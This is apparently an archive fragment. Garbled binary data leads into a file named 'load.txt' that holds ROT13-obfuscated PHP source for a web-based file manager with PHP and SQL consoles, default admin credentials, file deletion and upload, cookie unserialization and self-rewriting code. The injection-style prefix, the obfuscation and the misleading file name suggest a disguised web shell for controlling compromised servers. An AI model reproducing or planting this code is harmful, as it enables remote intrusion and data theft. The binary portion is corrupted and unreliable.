����P���b1���K��	��b��P�L�����&Wa��Q,�s�`6��)fs�dI������e{��bH�V��<mE��({�mc�C��+�� /�q\H7��d�v��z�ݰ#g{R~7�f%m�'F�b�sB"����(p�Ԣ�a�0���X��߆��id����R�Gí����h�&�73�7ָϯ�;VE�hX��n:��Mg����n�O��B�"�'��M>�P�\w �6���@BA%4Dz%��/��`4���A�VI�Ë�2���f��[6%$��er*⡻9���x�lԥ�B��K��Mp�
�6��}�?�WV��<��[���
Z,��Q�^-y�7h�K3�۬��<�ބ���r�e��t��:SYq0h�K��pS�%��@y���ˉM�����*B%6�
C�Ym��y'w��c1(���n9_��C>���{���}�gC���,��e|;��l�Q�n�l�q�]���k���}�Rg+7�
�%{Q�a�X��hP�w1�v�2W��a�~��R��r^��Z�kMiU:i�1N��|d����Cb!��7�ɻ����ծ�j�L6�T���|s?�&�ꭄ�f$�,f�jt��+�yMͮ3��j��brW�5�N�D��R�U�/�7
���e"J'��a�}��d�.D�۟	��0Z�����s)��-�Ųja"���!Yᖓl�NL����D�Q)e�b��yl���enX�[o�A�LZ��4�C�Q����2��Vq��ae�{5���m$G��r<f���ú�ɠ�]�M�Uy^K�����7Zi��E��hs�*{���E���m?7E;�F����ܬ�m.�V���
��w8d;��F)�oc�v�͋�rYMݖ�\&��mJ�"Rw����b�J!S
v%��?Lk�b~R��+o�X�&K�|7�Su�~���C��nj++���f��Y1��w
7���I<"��So�>)�iA�5�i����퉺yK���Ɂ�֙��<������ٻL�N�����q`��$�ŲRQ�i����K9��xq�.U�>1��LJ[o"�І����M�,R+Mz��x*F�:�К�mn���j���j�϶��m!?�B~���l���-�g[�϶��m!?�B~���l���dz��WѻF‡V[j	��o�|���8�7.��w��c��p���fԇz�1^T�r�o��7�鶩�J��6y��Ə�Ƹ��N&I�E����y-9N�KjQ��7ܖy��x�[��a�띠�ƻl�+l�<���f�����R@���CUH*�V�������>���W���z;s�~'�^�q7����C4�TꝂ0o!Jk�T#�C���;���+����N��*�hKm���{�6�ΡMJ2�4
��|/�,����L���ZV�n��\:��C��.%)�Ҫ����tj*ha�JjT���Z|\ߖK���o�w��x0���h#�vʦ*)�|Q�TF�N�vS���Ǣ˳PX�����mF��H2�J��r٪���&�ɹ�}=S��֭V�6��/���>E��WR�lX�֍BI��q3�
Rw�N�%����l頝�N}�q��&�n:��Rf�[�#C>�Ψ�A9��Fg�h`*��#�H�T�/V�uN�����d�^,��]��P���r��y5�F�EA��oe�*�W�۶X^�UvT��K�5a2V7��ʤU�(�b��O��A����n�~�L#��7��t[�G�X8fCy��j�7�
���K��T���xw�āw�JX�໽��;�7����m[�+6Ӭ7�'���`���g�Pr����\Ţi$T�|)6�W��J.8�{1�M�j�f�n�N(!�����]��{��v$���w([�XI���ޮ�p�����]��J�F�M�X�t[S9X~��M)We��ͨ��Іz�
̄��v��Z�H����b�zS�	?
�g��D<�ꖻlh��đ�a�փU�"�eI���[g^��Ʋ�DSI$'suW^���0,$S�^��LCQ98/>�f�:�&�9�cUN,�#5�F}���Ӌb{*�#c�F��
�ks7�n�~Om�{^VT3���'J�D��*�A��O���AW���Dw����a_�%v؍��^A�O�S�@�6���Eb؝$�R!؟�W�CބȎ
�nx^��e+%��d94_�{�(��g��$�;S��ݍګH/�HA �i7�&z��(	�NEd��
���i)usA���o�!Wn��n�v�hV�º�&��{)ϲ�ܶ��u�uo7��i��p���ˏS�`�q�d��j;�����u�9�u�m��g�P9�5'�L�Zn%�r��0C;�r�A+�f����\~�6��N3��un՛�X~|�;���Uf�G�RNm���v�Zw%n��L#�T:��T]˥fv�)��P\+Ŷ���96�XC;���Vej�b~��J���Dʹ��N՛�z@��nZ�jA����FZ�H��yr6�s�N	�P��v-��J�Fh�?�r�a�$V;���1y�M%�[a��6�B��
V֭A�����2ZXn��jh^.��
���b�Ie������aFhN��Q^mN��T�n�t�|�3�7R��U4�#.F�	,�*�B1��Dk�v�J����)UfĹ�(~d����ē�"
��l��ޱ?�#g?�^Ҩ&�@l8�f������K���MYJ�_p��=!G�
��&�!��p�������z@�#����t�@>ڽDO�!W�(��c��3�<F�=�<�\�����t��{_uF.���_�-w$4������+�5aק���-)��bJ�#/��o�û28ʩ…�R/i�'��H.�ͱ�Ũ/��
�
-T�-���$b�^���va�{��#z�1���^w�sz��`�s�0�W$��a6�2fk

�"B�&���SDm������K�Z
�"vy|.��g<��JP�@=u.
�4HA���/��(o�)h��C)O��/��RF��$������B)��@����`n�o��"������0ȗ@Q9�
�~qwZ
���8Ȉ1f+�K`�5Q�>~a?����$���e�GAZe��!�h�CSb�oy��y��Jb%=�P&���7�5��3_�R���,�9�̀_��^�p1{7xs�K��W�qI_5#�%C���/`��E6��_,�5�g[6_�%��[8䃼��� �mA^����^0F4՗Zڏ�pd�C�΃��Nѡ��luE�T[»2�my���U�A��K�z���N_�j��ɺ�-&���Tl����f�9�O��m^|�?�A_��`���_��)}�G��s�ח{���^�׋���H?!GA���ѲL���Y��9 g����p����XkH:d�r\���0��l +������6�!Ǐ�C֧�����S$:r��^�H�c���1�_��M�lI�K }�;�lI���8md͋�t���N��Nj���G��mrI~�|C��ZSߖ_��	{����k*�)��߮C�!^G��5C6�e�1@�7�i��+B%�n�ϙ���EGGsT�޲�.�뽠�d`�����Ї��e���)/�&H�D1Vz�w����F����>*Uy�%�
d�H<�J�5�h��f*4LI����4Чi0`<C�G'�bl��;[@rx7a�8�!Ƽ�����_�f��é����&��`���G��"j��;���AȨ�[�5#�Dџ������Ɉ=���\�bѣf�#Y��8g�N0$�����:{��i7�d�9�
�'3n�,�웫��c`#��hڠ&�C���i�E��b��a����0�!-sIb��~�|p���4<��U�}��u~9���3�9\
?c|��%�)˃"��5e����~��6��j��mH74����;�	bccv�x޹�W���H'h��?��(�|��I��vi\���t�'�L��&�"���,�lU̱0��ޮ�{|���جeqL�آ�o{�$���v ����$Ґ��]�y�m�h	8,ϕ��ϖy�	m��܇C��8G�CU�@A����Yarʈ摠���{]0>4��	�WW��
�����#�h0ǃ����G�AWCw�xmA��h��#�8���6|�B��tH'��~U���u`pj�젴E"�_�.f�h��і�NOV�\AC��‰˗�Jx�y���?��k�)�2�
�����Teu#�h^V5D��q��
2����Z2W N��}��н�<=b
�tn!�!�}eƜ�da�N4���	F�4�d�[��CÏ��1x���V���*k8N��2<6%h����zF�y=���!��Ué����|yv� K�}�e�e8Hc�̈��DغA �w��In� }�Q֡"HO$�ea����5K�p5h
�pdƯ�2����5�i�n'ymD�ǧ��$Ksx��x��`Eސ���ɕ�{�Ǵ�`�)�/'u`I���W��
������$�Ed
����a/�Y`�&'����/9���q�{N"�6O�3c�Y̨�?k��0d�hG���-�Ta�%�9�TPh���sH}�T^���k� ��(㵜�L��Q4._l��!\Z��K��Q.a�rIo� �~�L�ɜ�xr�ޥ�c?���;l����� �v�%"�p�}C��<B�M1��:�a˕{O/��Y�2>��T{���E���9Zr?@���}��/���s��A�HA��섚��=J������-���m{�^dtl͇1� �%��yŐ�l�5Y� �t�SM�n%!D.W4�D��$7�R��W�Fk�낞�;�l��w}�E��1��s}r`�_��W�Ç/��𽯡�s���;>u/�T<
�i]R9N�݈c^z���N|�)�˯��y������7��Ik<��wx���j&2��4f>�a�*��ʨ6u�����Q�d����db�;�XG��#)r<��:�Z�l�7|F�y�|@�f�y��9:���ֺ��~��t8tl�X�C��9�g<��3�Kk��c�@W�n���9EW�Ie�:L��e��Kx�iJ��ALs::��L�%
����o��f���8M�=�שڳmE~ �gV�� e��Z(��r�I�'�J  ��P����O��3O;9�exRQ��A���mk)v~=�ڢ)�.�k-�:���
�fd�'20��f�[�hF�C�Di�M�̇���<�Dj��|7�G�m>��<{_q��
chMA����D�z�㺧�[��ޛ�m�Ss{!��0-]�3���W�˷˯�^�œ�����pQ�
2*(I� .�d��Z�4�ڸ�BE�8<�F�ѲB�M�6kǦ˚��a�-6�w=AE7@��h�}�&���E(}��Ƣ�,I�Jt@K��P�a��
��@�޳�oe��-�����2Y_���NW�����i˲�3�V�R���45�!-
�{p�2F������(M^KWWx���~�W`Jʓ�qvY�6J�_���-y�1f����Ц���]2@z�–����iu�&�K{��kE��R�w�����'J�O�N�g&`�Tʘ�(�O�g��U�z�@������<ǂ,�v&���3�*�A/�8a��z֧��D�su
xJݙ�"�I��/B�b�Ąy���;]~~^|�N��e|�l�S�p�32ۜӏ=,����B�=�,6hp:�C�s�Kq����q�U�1Q�Y?-�*�8l~�]���>���pb� ���k;��f$����/I�w���'��m�hb���K�׵Z���H5.ul�n�Ʀ�}3���Aކ��N�O�O��݂�G�$�|5�����P��֨��O�&�ͫ��{��/R���+vk|��-K
�1�Y�`�m��^6m�;��D�s�e�0`�tF�/i�(j��i�C�_���o��5,C:rpVd�͉]�fە���s���E��<Kũy��0)p(��Y��z��)�k����%ǂ���psB��@�Ԟ,H���`���=惭*���=O��"�>�Ee��kI�d�ʐ
<
���C*_2ԣ=p��od���54��
\Z�
o�"5��ru�^�uz�u3|���'M��{Kf���
��&�Ι�����"N���.u��ԅ{����R'�Ppy�uF�>�����_T��9��ژ)��}x�oA`f�f~�ok?���ε��>ǡ?�������]�{���T�T��/�H
q"�3tH��TxF���4`Y�N���}d�W��(���zX�&c*Ϻ�%��yЕ�	r�tj��
�I���_P=��F���u|��'U՝�+:{��5��.�
�6��{�Z����P�˜��E�\hp]���ʆ�h;.O��	��ٓ��@�~���#��VG2����R��{�sy��c"��A� ���H���;C�l�;��{`����NV
��ĉ��qjh�\`�
�ǽ�����8F�c��~����uطGD�牠v𼤿l���Z�-�=u�r9o��,���m�嶾^�-��p6^���05"�P�ڬ�o�M�
x^1n{�Kl�y�ɓ�b�1`�5O�}�v�iJ$��BN���
��RVӗ1�-S�XH�����_�x������Ȳ�83Z9>����0~���a$sh��b�ꋹ�e��N�;@�ǰ:����X�i_Ċ셐!���t��>���>u�+ef�\b
�jb_۟A��w��>8N��� ���)�����?
e��(Z<��q5�<�U�?6t.G*��G~||�zM,g��f�Ԭ������A"Ki,�
�*���٫.�K�"��<<*.�WE�I<_�8ާ�>냨*"|i5�Oh�.E�o= m�����$Ge�t��._X%�>_����pxx<�a�C���r)�=99C�H󘅔�8I/��`��I��L��"�Q�'�V�� ��>,~�iakO�q�û��O��*�1i��~In��{vƵJl�YĐ}���Z��q����W�#i}����[�'
c�gpӄ��S
�J{F�s_��	����H�4]u�bƿ���a�}���-��G0�Bʊ���/��j�{˝�/ž*�����揹�XzC�򺠂}%��?4vL�k�I�n1��o?������%�i�|w�`�/���g�K~�86hR�1��k���9f�2�1�>��F���wH�^w��B}�K�g��`�,�A[����V|M��;�xI�hQR�}�#Z����G��,H�����s�Q���1+h >�l0�Z�z�ˮTi=����+\p<� ��!��u�/1��x�ш��N��ƚ��C&Ce�4@ʢ�����@,@�����/�ZI�`��c>��m�/�|[|3[#%��L^~-q��c@I��|{`�mhu&����������3�Յ;��Sa�ن���j��
b�K��wO��[+���^�ʃ�S4K��t��\�ւ�=�F�^��~DT��@s
	f4C�?���P�bmeMڀ�j9���2 ���u�BN��j�V�(g(	sB+��v�zH�ݏ��Hh�
��uAo��#�˽���[�w��׃��[?��%��,
��O��Vq�/%�AH�*H���xȴ�
�n
>�((p��"��3(K=m{��5�������s�V��z�ٺo?t����M&����w��<�/��j�n�ڎ�{}A���x2
C�H4O$��uQ�ܧ�3�1��1h�d�yN��>C�P>¿.џ��Ώȶ�֗�׫Q��w���}�B�"�5�Q$J0��)��P��W�;�%H]2s��e޾e����҃�/pq\jM0X#�����+�UHc��e��7|X�h�	&C�;�yh�	�1u2���B��}�H��T�
��wTO
I=)b$�����2`Ō���&���+&�\�)*�( �l���ec�e��%�D��T�������5�`�P�䣿
ԙ���/�ˏ���|�q{���Ps�Q��n�����'-�%�'^Q^��+`U,�<��ub�s�\�6���@Pa��n��H==J��A�f��8�:E�\��5Z��s����R:Gz��\�H�#Ni��+j`h�q �c4�Ga?/��|��6j�G$�%lw~��=�+��N�����u��r���om	"� �a���ĺ�a�'}z��4�gL�8C�V'��%��$*(�=�xX�=D� i������=�����۝�hv���Gڂ���@�	���77�C�G(�U!�<O���4�:	�Nz�>��H&�p��	��Ȱ�'�@"���,�u�Q������]�̪;�;�j�>�xi��9�Q�[�t�}c\ҋcg�9$Z�Z�޲��L�|K�0�����C�`��2l]�����0��ǯrH���?vMba���;�jBtCˋ���a���_��{��P�,xj��ɉDU-8\�����u	{�ķs��0��u�A��G���J8í����[#��~Œ�}^b��H2�rԞ��Cu%K��X̕�K��NT�7�s���K��c��`NI�'�,|_���Z�s����~��^����78�Q��k7�G�~/?\��,�>�,�^2m8�P{
��	�@���V7~���O3���
�HG���|ݥge���1Ŕ�z���������K3C�6���X�d�(�DQP��06T��5�O1>�ۍ߫����h���bb��XA`jP��e�>T��ԍa�~�L�<�hm�Ī��c�+���!�(�=�J�1�d����k��ō�x���X�7v�Xp9�F�eo��EY0K��1Y�T�1Ǡ� C�Ag�w"콿�
��ޛG�ַ���>��n�s��4���$�/�U�5U���Pg(��j?�5�쥃F�O�'a�BI������5�
GE��v����1��c�'M%z�)�p K�A��..��Q9Qo�J5ha���C��99C3�b����y�-�`-�:bfY���
���
*Hdc;��+�0j��ȩH�xtn>l��C�A7�Ӓ|3��5
󈎶*�y�~ﻞˣ��8��4>b��8^�qH�GhP����t�p@MCJ��0Gk5%7\�D{ea沑�᙮I-H�Ȑn��l���������c������`�TLn��BA
�l�]M~i-bb����l�r�0����<ߺ]2�X�����A����Զ{-�z�NFk��8�I����͖"��~y�rZ�hq��_�d`a�۪{FO_�lwoL�K�&=�3�����o�]�a�)�)0| o*��l�,�G��·Va�*��n�.�IE��/�
�{�:�=�b.���`-L���uo�������Y�Ҳ�$�tY���4����"��P��6b��)�U�X}uxƔƝ_�L��KP�k
X��$s��1�t<�@�:H+�����B��N�ρfI~���`�t+��!�����,�T$L�H���s��[i��k���$��=ZZ4�c�é�������UO�`D�=���;�NS�nO4`�M=�y�"��Y��%���v�(�+�=�4�6j�"��.�H!�j��3�N�8>�	B���.UW,%o��5.�� T
E�I h�H�W�6�
@�-vyb��4�z:(�N2��ڸ�_�I@�6��V�i��B�W��<ѭ�me"x��ݺ&�ԷW��2C�X�-����o!@2��ҞX}6�B��ԏ�,�(Y�O�t��T����9���U����.����o����2��:v���L7n�@R�9/8@����2����>���|��D���VQ8۲	�[<��A�˽W�v�w���r(�9�I�~ώ�#�Pt�h���٦�0���'
d�y��5U+Nvx<��{|@�h��뫼�Q��ü���P^���J�'�z���ɶ`����<�yM�l-s<�0�{%_�6c�o�^lE�;d��{M�t�<R����pC��%��ceR�
v�B*���oչLq�Z�m=&c�����z�~}S� �%�n���8=Z��6�{ͮĀ�������}�AY����K����x���8�G?а�9v\p���:)
��-��Kno|L�LA��An��$�
�E�ø�q������g�_?n�1v�A]�ۦ;�F2��x8�ؠ�>aM���z��ݍ���[Ë�x��u�(�oKM^��]�'���m�~��TX[at���B�c!��`'/X�bO3a�2��MA��	gIPi�C��{����a�|�%�u$~J�:kъ���V��*/�����0]�X��W���G��D��2�ŒĚ�]��m��̹"�cj�OC}��}�@/{�}zН;J��潂F$�L�c�	����ul˨��:$T>2A��Mnް�B&�&Y~�0U���a�Sү�ʚ��w!�R�y��X�A�]~��D��t�f�+�1����0>2�a�aOߗ���6c8�j0"X
B̻�xQˁ�/�ù�d�
>��?3z��q�v�d�O��xE]6]��yrb���`����5����O���^;�2��ه��
���Zt���
���{1?������~���`9Uy�z}��=���ǘ+��I	!�3��#m�o�c���\9�9kT���F���0��{x��Zpќ�/��1�Nj�p��D����5l�r������/�&x%4��%��Ս����X�������A�'�^LW�6b�2�7w?���Xq�dt��L�2<����Y�S�m����7d;�a�N��ρmN���Y
z��̠��Kt�K���^��88ޞ'�1�;]�7���Gϕi1tTV]v۸y*c��*P��k S�Y-�8N�5�[t�8N0�n�%q��]{d~0��%�Q�{�c
ڶD*�=�,
�Ec���A>�H����P?	
�Mb�Ѓܓon�tb�rb�/�8�=��i%����/�n��c��t�pp��ʱ��R����X9�V¡mn�w��G��l����^g�Q��TW�nIPwnk���,a0����׿��	�1y�	Ec{[
+���no�1N2t`�����:����n��`UU;@3ˣ��'���>A�)�0�U�^��!$E<{)g�P�(�_]g����8^��{���lE�M�˗%���r:�6��ar�	�_0T	�88�K�q��BS��%�QY/j���8�9<ñ�x�oOdsy���L`�e;s�$��^?,K6{C���D*���z�����g��t�-֛�bOP9i�v}�p���ch�%��h�+���a��y��~�ʲS����0��a�xpZ���H!�(�P�$�sk�O�+������0�f�+$�혒HZX��uF������͞�WKg��i���~#�������
���4���pK��8���ꯤ�v���Fϰ��YH��oj����(��\�2��Rv:&L��l�<��UyW
�(��~T!C����~���cd:u�����9���o����߃
�x�����:��'���O��#Z�p�z���^�����e�0�y:@���w�/�77���]K��J���y(�S�����s��I���+��pG��;���&/,$�_����mΫ�j��ԂϾH~�}q�JQ�w._'�^�-���.���Ѻ�p�{tt�͒K���9Q�f.����o�G��ڟl��R���:;�`��錘[',^�6V{��raTZ�P��]�<���n��c{��11�[�Я����՟�œ����y����G_-n(˗�I���
b|!��_�=�۝n�@�f^�������bGfu��H7��nݧ��k�h�j�l�nHq#��A!��N�z
�9��`YV� �"�D�??�1�^�L�݃�]�ߩ>��X�+7�C8�`w���D�|m������7W�_�׀㣮��|m�߲B�� 8!�r�-�Ӌ&���z�{?�������?�?�/߲��Hload.txt000064400000240606150425251240006234 0ustar00rbahiovhlrivolpnacz'pjeahio348eo238 gazda8olgaalo8dz0vpeaholhd vvzcb3e32eaaaaaknykwnn%00%01%0N">'><?cuc
/* CUC Svyr znantre ire 1.5 */
// @Ansvfshnq1 -- gryrtenzf
// Pbasvthengvba — qb abg punatr znahnyyl
$nhgubevmngvba = '{"nhgubevmr":"0","ybtva":"nqzva","cnffjbeq":"cucsz","pbbxvr_anzr":"sz_hfre","qnlf_nhgubevmngvba":"30","fpevcg":"<fpevcg glcr=\"grkg\/wninfpevcg\" fep=\"uggcf:\/\/jjj.pqbyvirg.pbz\/rqvgnern\/rqvgnern\/rqvg_nern\/rqvg_nern_shyy.wf\"><\/fpevcg>\e\a<fpevcg ynathntr=\"Wninfpevcg\" glcr=\"grkg\/wninfpevcg\">\e\arqvgNernYbnqre.vavg({\e\avq: \"arjpbagrag\"\e\a,qvfcynl: \"yngre\"\e\a,fgneg_uvtuyvtug: gehr\e\a,nyybj_erfvmr: \"obgu\"\e\a,nyybj_gbttyr: gehr\e\a,jbeq_jenc: gehr\e\a,ynathntr: \"eh\"\e\a,flagnk: \"cuc\"\g\e\a,gbbyone: \"frnepu, tb_gb_yvar, |, haqb, erqb, |, fryrpg_sbag, |, flagnk_fryrpgvba, |, punatr_fzbbgu_fryrpgvba, uvtuyvtug, erfrg_uvtuyvtug, |, uryc\"\e\a,flagnk_fryrpgvba_nyybj: \"pff,ugzy,wf,cuc,clguba,kzy,p,pcc,fdy,onfvp,cnf\"\e\a});\e\a<\/fpevcg>"}';
$cuc_grzcyngrf = '{"Frggvatf":"tybony $sz_pbasvt;\e\aine_rkcbeg($sz_pbasvt);","Onpxhc FDY gnoyrf":"rpub sz_onpxhc_gnoyrf();"}';
$fdy_grzcyngrf = '{"Nyy onfrf":"FUBJ QNGNONFRF;","Nyy gnoyrf":"FUBJ GNOYRF;"}';
$genafyngvba = '{"vq":"eh","Nqq":"Добавить","Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Ner lbh fher lbh jnag gb qryrgr guvf svyr?":"Вы уверены, что хотите удалить этот файл?","Nepuvivat":"Архивировать","Nhgubevmngvba":"Авторизация","Onpx":"Назад","Pnapry":"Отмена","Puvarfr":"Китайский","Pbzcerff":"Сжать","Pbafbyr":"Консоль","Pbbxvr":"Куки","Perngrq":"Создан","Qngr":"Дата","Qnlf":"Дней","Qrpbzcerff":"Распаковать","Qryrgr":"Удалить","Qryrgrq":"Удалено","Qbjaybnq":"Скачать","qbar":"закончена","Rqvg":"Редактировать","Ragre":"Вход","Ratyvfu":"Английский","Reebe bppheerq":"Произошла ошибка","Svyr znantre":"Файловый менеджер","Svyr fryrpgrq":"Выбран файл","Svyr hcqngrq":"Файл сохранен","Svyranzr":"Имя файла","Svyrf hcybnqrq":"Файл загружен","Serapu":"Французский","Trarengvba gvzr":"Генерация страницы","Trezna":"Немецкий","Ubzr":"Домой","Dhvg":"Выход","Ynathntr":"Язык","Ybtva":"Логин","Znantr":"Управление","Znxr qverpgbel":"Создать папку","Anzr":"Наименование","Arj":"Новое","Arj svyr":"Новый файл","ab svyrf":"нет файлов","Cnffjbeq":"Пароль","cvpgherf":"изображения","Erphefviryl":"Рекурсивно","Eranzr":"Переименовать","Erfrg":"Сбросить","Erfrg frggvatf":"Сбросить настройки","Erfgber svyr gvzr nsgre rqvgvat":"Восстанавливать время файла после редактирования","Erfhyg":"Результат","Evtugf":"Права","Ehffvna":"Русский","Fnir":"Сохранить","Fryrpg":"Выберите","Fryrpg gur svyr":"Выберите файл","Frggvatf":"Настройка","Fubj":"Показать","Fubj fvmr bs gur sbyqre":"Показывать размер папки","Fvmr":"Размер","Fcnavfu":"Испанский","Fhozvg":"Отправить","Gnfx":"Задача","grzcyngrf":"шаблоны","Hxenvavna":"Украинский","Hcybnq":"Загрузить","Inyhr":"Значение","Uryyb":"Привет","Sbhaq va svyrf":"Найдено в файлах","Frnepu":"Поиск","Erphefvir frnepu":"Рекурсивный поиск","Znfx":"Маска"}';
// raq pbasvthengvba

// Cercnengvbaf
$fgneggvzr = rkcybqr(' ', zvpebgvzr());
$fgneggvzr = $fgneggvzr[1] + $fgneggvzr[0];
$ynatf = neenl('ra','eh','qr','se','hx');
$cngu = rzcgl($_ERDHRFG['cngu']) ? $cngu = ernycngu('.') : ernycngu($_ERDHRFG['cngu']);
$cngu = fge_ercynpr('\\', '/', $cngu) . '/';
$znva_cngu=fge_ercynpr('\\', '/',ernycngu('./'));
$cune_znlor = (irefvba_pbzcner(cucirefvba(),"5.3.0","<"))?gehr:snyfr;
$zft = ''; // freivpr fgevat
$qrsnhyg_ynathntr = 'eh';
$qrgrpg_ynat = gehr;
$sz_irefvba = 1.4;

//Nhgubevmngvba
$nhgu = wfba_qrpbqr($nhgubevmngvba,gehr);
$nhgu['nhgubevmr'] = vffrg($nhgu['nhgubevmr']) ? $nhgu['nhgubevmr'] : 0; 
$nhgu['qnlf_nhgubevmngvba'] = (vffrg($nhgu['qnlf_nhgubevmngvba'])&&vf_ahzrevp($nhgu['qnlf_nhgubevmngvba'])) ? (vag)$nhgu['qnlf_nhgubevmngvba'] : 30;
$nhgu['ybtva'] = vffrg($nhgu['ybtva']) ? $nhgu['ybtva'] : 'nqzva';  
$nhgu['cnffjbeq'] = vffrg($nhgu['cnffjbeq']) ? $nhgu['cnffjbeq'] : 'cucsz';  
$nhgu['pbbxvr_anzr'] = vffrg($nhgu['pbbxvr_anzr']) ? $nhgu['pbbxvr_anzr'] : 'sz_hfre';
$nhgu['fpevcg'] = vffrg($nhgu['fpevcg']) ? $nhgu['fpevcg'] : '';

// Yvggyr qrsnhyg pbasvt
$sz_qrsnhyg_pbasvt = neenl (
	'znxr_qverpgbel' => gehr, 
	'arj_svyr' => gehr, 
	'hcybnq_svyr' => gehr, 
	'fubj_qve_fvmr' => snyfr, //vs gehr, fubj qverpgbel fvmr → znlor fybj 
	'fubj_vzt' => gehr, 
	'fubj_cuc_ire' => gehr, 
	'fubj_cuc_vav' => snyfr, // fubj cngu gb pheerag cuc.vav
	'fubj_tg' => gehr, // fubj trarengvba gvzr
	'ranoyr_cuc_pbafbyr' => gehr,
	'ranoyr_fdy_pbafbyr' => gehr,
	'fdy_freire' => 'ybpnyubfg',
	'fdy_hfreanzr' => 'ebbg',
	'fdy_cnffjbeq' => '',
	'fdy_qo' => 'grfg_onfr',
	'ranoyr_cebkl' => gehr,
	'fubj_cucvasb' => gehr,
	'fubj_kyf' => gehr,
	'sz_frggvatf' => gehr,
	'erfgber_gvzr' => gehr,
	'sz_erfgber_gvzr' => snyfr,
);

vs (rzcgl($_PBBXVR['sz_pbasvt'])) $sz_pbasvt = $sz_qrsnhyg_pbasvt;
ryfr $sz_pbasvt = hafrevnyvmr($_PBBXVR['sz_pbasvt']);

// Punatr ynathntr
vs (vffrg($_CBFG['sz_ynat'])) { 
	frgpbbxvr('sz_ynat', $_CBFG['sz_ynat'], gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
	$_PBBXVR['sz_ynat'] = $_CBFG['sz_ynat'];
}
$ynathntr = $qrsnhyg_ynathntr;

// Qrgrpg oebjfre ynathntr
vs($qrgrpg_ynat && !rzcgl($_FREIRE['UGGC_NPPRCG_YNATHNTR']) && rzcgl($_PBBXVR['sz_ynat'])){
	$ynat_cevbevgl = rkcybqr(',', $_FREIRE['UGGC_NPPRCG_YNATHNTR']);
	vs (!rzcgl($ynat_cevbevgl)){
		sbernpu ($ynat_cevbevgl nf $ynat_nee){
			$yat = rkcybqr(';', $ynat_nee);
			$yat = $yat[0];
			vs(va_neenl($yat,$ynatf)){
				$ynathntr = $yat;
				oernx;
			}
		}
	}
} 

// Pbbxvr ynathntr vf cevznel sbe rire
$ynathntr = (rzcgl($_PBBXVR['sz_ynat'])) ? $ynathntr : $_PBBXVR['sz_ynat'];

// Ybpnyvmngvba
$ynat = wfba_qrpbqr($genafyngvba,gehr);
vs ($ynat['vq']!=$ynathntr) {
	$trg_ynat = svyr_trg_pbagragf('uggcf://enj.tvguhohfrepbagrag.pbz/Qra1kkk/Svyrznantre/znfgre/ynathntrf/' . $ynathntr . '.wfba');
	vs (!rzcgl($trg_ynat)) {
		//erzbir haarprffnel punenpgref
		$genafyngvba_fgevat = fge_ercynpr("'",'&#39;',wfba_rapbqr(wfba_qrpbqr($trg_ynat),WFBA_HARFPNCRQ_HAVPBQR));
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#genafyngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$genafyngvba_fgevat,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
			}	ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}	
		$ynat = wfba_qrpbqr($genafyngvba_fgevat,gehr);
	}
}

/* Shapgvbaf */

//genafyngvba
shapgvba __($grkg){
	tybony $ynat;
	vs (vffrg($ynat[$grkg])) erghea $ynat[$grkg];
	ryfr erghea $grkg;
};

//qryrgr svyrf naq qvef erphefviryl
shapgvba sz_qry_svyrf($svyr, $erphefvir = snyfr) {
	vs($erphefvir && @vf_qve($svyr)) {
		$ryf = sz_fpna_qve($svyr, '', '', gehr);
		sbernpu ($ryf nf $ry) {
			vs($ry != '.' && $ry != '..'){
				sz_qry_svyrf($svyr . '/' . $ry, gehr);
			}
		}
	}
	vs(@vf_qve($svyr)) {
		erghea ezqve($svyr);
	} ryfr {
		erghea @hayvax($svyr);
	}
}

//svyr crezf
shapgvba sz_evtugf_fgevat($svyr, $vs = snyfr){
	$crezf = svyrcrezf($svyr);
	$vasb = '';
	vs(!$vs){
		vs (($crezf & 0kP000) == 0kP000) {
			//Fbpxrg
			$vasb = 'f';
		} ryfrvs (($crezf & 0kN000) == 0kN000) {
			//Flzobyvp Yvax
			$vasb = 'y';
		} ryfrvs (($crezf & 0k8000) == 0k8000) {
			//Erthyne
			$vasb = '-';
		} ryfrvs (($crezf & 0k6000) == 0k6000) {
			//Oybpx fcrpvny
			$vasb = 'o';
		} ryfrvs (($crezf & 0k4000) == 0k4000) {
			//Qverpgbel
			$vasb = 'q';
		} ryfrvs (($crezf & 0k2000) == 0k2000) {
			//Punenpgre fcrpvny
			$vasb = 'p';
		} ryfrvs (($crezf & 0k1000) == 0k1000) {
			//SVSB cvcr
			$vasb = 'c';
		} ryfr {
			//Haxabja
			$vasb = 'h';
		}
	}
  
	//Bjare
	$vasb .= (($crezf & 0k0100) ? 'e' : '-');
	$vasb .= (($crezf & 0k0080) ? 'j' : '-');
	$vasb .= (($crezf & 0k0040) ?
	(($crezf & 0k0800) ? 'f' : 'k' ) :
	(($crezf & 0k0800) ? 'F' : '-'));
 
	//Tebhc
	$vasb .= (($crezf & 0k0020) ? 'e' : '-');
	$vasb .= (($crezf & 0k0010) ? 'j' : '-');
	$vasb .= (($crezf & 0k0008) ?
	(($crezf & 0k0400) ? 'f' : 'k' ) :
	(($crezf & 0k0400) ? 'F' : '-'));
 
	//Jbeyq
	$vasb .= (($crezf & 0k0004) ? 'e' : '-');
	$vasb .= (($crezf & 0k0002) ? 'j' : '-');
	$vasb .= (($crezf & 0k0001) ?
	(($crezf & 0k0200) ? 'g' : 'k' ) :
	(($crezf & 0k0200) ? 'G' : '-'));

	erghea $vasb;
}

shapgvba sz_pbaireg_evtugf($zbqr) {
	$zbqr = fge_cnq($zbqr,9,'-');
	$genaf = neenl('-'=>'0','e'=>'4','j'=>'2','k'=>'1');
	$zbqr = fgege($zbqr,$genaf);
	$arjzbqr = '0';
	$bjare = (vag) $zbqr[0] + (vag) $zbqr[1] + (vag) $zbqr[2]; 
	$tebhc = (vag) $zbqr[3] + (vag) $zbqr[4] + (vag) $zbqr[5]; 
	$jbeyq = (vag) $zbqr[6] + (vag) $zbqr[7] + (vag) $zbqr[8]; 
	$arjzbqr .= $bjare . $tebhc . $jbeyq;
